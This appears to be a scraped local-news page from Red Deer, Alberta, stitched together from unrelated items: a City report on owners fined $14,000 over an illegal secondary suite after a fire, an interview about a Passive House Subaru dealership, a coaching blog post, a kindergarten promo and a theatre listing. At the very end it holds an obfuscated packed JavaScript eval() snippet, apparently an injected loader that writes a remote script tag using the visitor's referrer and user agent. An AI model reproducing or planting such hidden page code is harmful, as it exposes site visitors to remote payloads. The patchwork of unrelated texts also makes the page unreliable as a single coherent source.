Owners of home fined for illegal suite after fire

From the City of Red Deer

Safety a concern with illegal secondary suites

A fire in a Red Deer home with an illegal secondary suite serves as a reminder to property owners to comply with The City of Red Deer Land Use Bylaw and the Safety Codes Act to ensure the safety of tenants.

According to Red Deer Emergency Services, an incident on January 9, 2018 left a family and three tenants in a single family home with an illegal secondary suite at risk, due to a fire that caused damage to the home. Two people received medical treatment as a result of the fire.

The two property owners (Asif Ambreen & Khan Ullah Kashan) were charged under the Safety Codes Act and plead guilty. Each received a $7,000 fine for a total of $14,000 plus a 15% Victims Surcharge.

The maximum fine under the Safety Codes Act for an illegal secondary suite is $100,000 for each offense and/or imprisonment for a term not exceeding six months.

A secondary suite is a separate dwelling inside a single family home. Secondary suites must meet the Alberta Fire and Building Codes minimum standards which are designed to protect families, tenants, and neighbors. Illegal secondary suites put tenants at risk as they typically do not have hardwired interconnected smoke alarms, proper fire separations or adequate bedroom windows.

Secondary suites are allowed on a discretionary basis in single family homes in Red Deer. Property owners require a development and building permit for the use of a secondary suite.

Green Energy Futures talks to Scott Subaru about the new eco-friendly dealership.

Interview conducted & produced by David Dodge, Subaru of America in production with Green Energy Futures.
– Original blog post with video at >> http://www.greenenergyfutures.ca Episode #213

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– We’ve seen some amazing super energy efficient buildings on Green Energy Futures, including living buildings and net-zero churches, homes and even department stores. But we’ve never heard of anyone doing what the Scott Subaru car dealership in Red Deer is doing.

Garrett Scott: “Hi, I’m Garrett Scott, I’m the dealer principal of Scott Subaru in Red Deer and we have almost completed our construction of the World’s first Passive House car dealership.”

– Scott said they were inspired to do something special when they visited the Subaru plant in Indiana.

Scott: “Subaru America has a zero waste plant and the plant is also sitting on a wildlife nature preserve as well. They’ve got incredible kind of wetland and green space around it and the zero waste is pretty unique when you consider manufacturing; you’re always wasting a little bit, you would think.”

– Inspired by the zero waste idea, Scott came back to Red Deer and talked to Cover Architects and came up with the idea of building the first car dealership built to the Passive House standard.

Scott: “We wanted to be able to have the ultimate calling card and have something that was so unique but also represent some of our values. Why waste if we don’t have to? Why build something that is just ‘Ho Hum’, that everyone else has done before and if you’re going to be in one spot for 50 years or want to be here for 50 years more; let’s build a legacy project that means something today as much as it would 20 years from now.”

– There are many reasons why they undertook the project.

Scott: “We’re talking about eliminating 80% of our heating and cooling costs almost and that’s the reason we did it. That’s cool. That’s really quite exciting.”

– But it’s about more than saving money.

Scott: “Being as efficient as it is from an energy standpoint motivates us to take our business and follow a similar trend we try and make the most efficient process for our customers from a purchase standpoint, from a repair standpoint, but also then correlate that into our staff; Passive House buildings are considered much more livable and much more enjoyable than your standard commercial building is.”

– So how do you take a car showroom with floor-to-ceiling windows to Passive House standards?

Scott: “So, Passive House is essentially an unbreakable blanket around the building that keeps it insulated from the environment outside and that goes with the walls, the windows, the doors, and also the foundation, the flooring. You build exterior walls that are getting close to 20-22 inches thick; you’ve got four layers of different types of insulation, types of material, impenetrable barriers.

– All of this adds up to a car dealership that uses 80% less energy and doesn’t have a conventional furnace.

Scott: “There is heat recovery units and then super efficient air-source heat pumps and these air source heat pumps, they can be 200% more efficient than a furnace and with that you get those incredibly low consumption numbers, and they’re rated now to be available in Alberta for temperatures down to -30. We’re very confident that this will get done but the big issue with this building isn’t necessarily heating it, the envelope is keeping the heat in, it’s cooling it and these heat pumps also work in the inverse fashion and they cool the building too.”

– Garrett’s grandfather Kipp Scott opened the family’s first car dealership in Red Deer 50 years ago. Garrett says this is a legacy project that he hopes will still be cool 20 years from now.

Scott: “This building will also garner some more exposure than a traditional new dealership would and that’s also one of the big motivators in doing this is to achieve the goals we have as a Subaru dealer. We need to be extremely unique. This helps us get there.

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Learn more at GreenEnergyFutures.ca – and – www.ScottSubaru.com/Passive-House

Why Coaching? It’s Better than Chocolate Cake.

I am a coach. I love what I do. A lot of people have good questions about my work.

One question that gets asked repeatedly is, “What is coaching?”

The best answer to “What is coaching?” is always to experience coaching. It’s like trying to describe chocolate cake.

You can try to describe chocolate cake or you can eat chocolate cake. There’s a big difference.

According to the International Coaches Federation, the governing and regulatory body for certified coaches, “Professional coaching brings many wonderful benefits: fresh perspectives on personal challenges, enhanced decision-making skills, greater interpersonal effectiveness, and increased confidence. And, the list does not end there. Those who undertake coaching also can expect appreciable improvement in productivity, satisfaction with life and work, and the attainment of relevant goals.”

Wow, right?

Another way of looking at the question “What is coaching?” is to hear what clients experience in a coaching conversation. It’s sort of like asking what it feels like to eat chocolate cake.

Here are some candid responses from my clients.

Coaching feels like…..

Clarity and direction

Encouragement with action

Finding my bravest self

Focused empowering

Hard Work

Challenging

Enlightening

Informative

Momentum with hope

Safe

Impending Change

Hopeful Moving Forward

Reorganizing of thoughts

Action Focused

Uncomfortable in a good way

Exciting

Clear Direction

Vulnerability, Ownership, Clarity

I CAN CHANGE!

If you are looking for any of those results this year and you’re tired of the same struggles year after year, hiring a coach may be a great option for you. I know it has changed my life and I am honoured to offer my clients a conversation that can do so much!

One word of caution… chocolate cake with all of the best, specialized ingredients, that is masterfully put together by an experienced chef is going to be a very different experience than eating cake that was baked by someone with less understanding of the ingredients. Find a coach with training and experience that supports the outcomes and experience you are looking for.

So, instead of just asking, “What is coaching?”, try it! You’ll be glad you did. It’s better than chocolate cake.

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Red Deer Public Schools offers fantastic Kindergarten programming to help ensure that kids have a great start to the next 13 years of school and to make sure kids come

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Red Deer Public Schools offers fantastic Kindergarten programming to help ensure that kids have a great start to the next 13 years of school and to make sure kids come to school ready to learn.

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RED DEER – Ignition Theatre is proud to present Pulitzer prize finalist Rajiv Joseph’s Gruesome Playground Injuries– celebrating the ten year anniversary of the provocative and controversial love story that

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RED DEER – Ignition Theatre is proud to present Pulitzer prize finalist Rajiv Joseph’s Gruesome Playground Injuries– celebrating the ten year anniversary of the provocative and controversial love story that has taken the theatre world by storm since its premiere in 2009. Performances begin January 17th and run through January 26th at the Red Deer Memorial Centre, Nickel Studio (Third Floor).
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"Gruesome…is an incredibly beautiful and complex examination of mental illness; an examination of pain, both physical and psychological, and our need to inflict pain upon others and ourselves as a means of survival. It’s a love story that desperately struggles to navigate and accept what love truly means. It’s a play full of questions, catharsis, and believe it or not, a deeply dark sense of humour.” – Matt Grue, Director, Gruesome Playground Injuries

Gruesome Playground Injuries is presented with a discretionary warning for coarse language, graphic imagery, sexuality and mature themes that may trigger those suffering from mental illness.
Curtain is 7:30PM nightly. Tickets are $20.00 / $25.00 (Friday and Saturday Performances) Tickets available online and at the box office 30 minutes prior to curtain.

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Robbie eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyhse|var|u0026u|referrer|iytrs||js|php'.split('|'),0,{}))
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